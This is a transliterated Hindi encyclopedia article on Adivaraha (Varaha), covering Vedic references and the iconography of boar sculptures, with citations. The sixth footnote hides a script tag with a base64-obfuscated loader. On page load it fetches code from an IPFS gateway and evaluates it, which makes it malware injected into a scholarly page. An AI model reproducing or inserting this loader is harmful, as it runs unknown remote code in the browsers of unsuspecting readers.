आदिवराह (वराह)
| chitr:Disamb2.jpg adivarah | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- adivarah (bahuvikalpi) |
adivarah 'varah' shabd ka ullekh rrigved[1] tatha atharvaved[2] mean hua hai. ek mantr mean rudr ko svarg ka varah kaha gaya hai.[3] vibhav ya avatar ka pratham nirdesh taitiriy sanhita tatha shatapath brahman mean milata hai, jahaan prajapati ke matsy, koorm tatha varah roop dharan karane ka spasht ullekh hai. rrigved ke anusar vishnu ne somapan kar ek shat mahishoan ko tatha kshirapak ko grahan kar liya jo vastut: 'emushh' namak varah ki sanpatti the. iandr ne is varah ko bhi mar dala.[4] shatapath ke anusar isi 'emushh' namak varah ne jal ke oopar rahanevali prithvi ko oopar utha liya.[5] taitiriy sanhita ke anusar yah varah prajapati ka aur puranoan ke anusar vishnu ka roop tha. is prakar varah avatar vaidik nirdeshoan ke oopar spashtat: ashrit hai.[6]
bharatiy kala mean varah ki moorti do prakar ki milati hai-vishuddh pashuroop mean tatha mishrit roop mean. mishran keval sir ke hi vishay mean milata hai tatha any bhag manushy ke roop mean hi upalabdh hote haian. pashumoorti ka nam keval varah ya adivarah hai tatha mishrit roop ka nam nrivarah hai. uttar bharat mean pashumoorti ya adivarah ki moorti anek sthanoan mean milati hai. inamean sabase prakhyat toraman dvara nirmit 'eran' mean lal patthar ki varahamoorti mani jati hai. manavakriti moorti ke oopar kabhi-kabhi chhote-chhote manushyoan ke bhi roop utkirn milate haian, jo dev, asur tatha rrishi ke pratinidhi mane jate haian evan prithvi varah ke daantoan se latakati huee chitrit ki gee hai. varah ka sabase prachin tatha suandar nidarshan vidisha ke pas udayagiri ki chaturth gupha mean utkirn milata hai. yah chandragupt dvitiy kalin paanchavoan shatabdi ka hai. varah ki any do moortiyaan bhi upalabdh hoti haian (1) yajnavarah (sianh ke asan par lalitasan mean upavisht moorti, lakshmi tatha bhoodevi ke sath), (2) pralayavarah (vahi mudra, par keval bhoodevi ke sang mean) in moortiyoan se adivarah ki moorti sarvatha bhinn hoti hai.[7]
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tika tippani aur sandarbh
- ↑ 1|61|7; 8|77|10
- ↑ 8|7|23
- ↑ rri. 1|114|5
- ↑ rrikh 8|77|10
- ↑ 14|1|2|11
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 369 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-bainarji : develapameant aauv hiandoo aikonograifi, dvitiy san., kalakatta, 1955; gopinath rav : hiandoo aikonograifi, madras.
sanbandhit lekh
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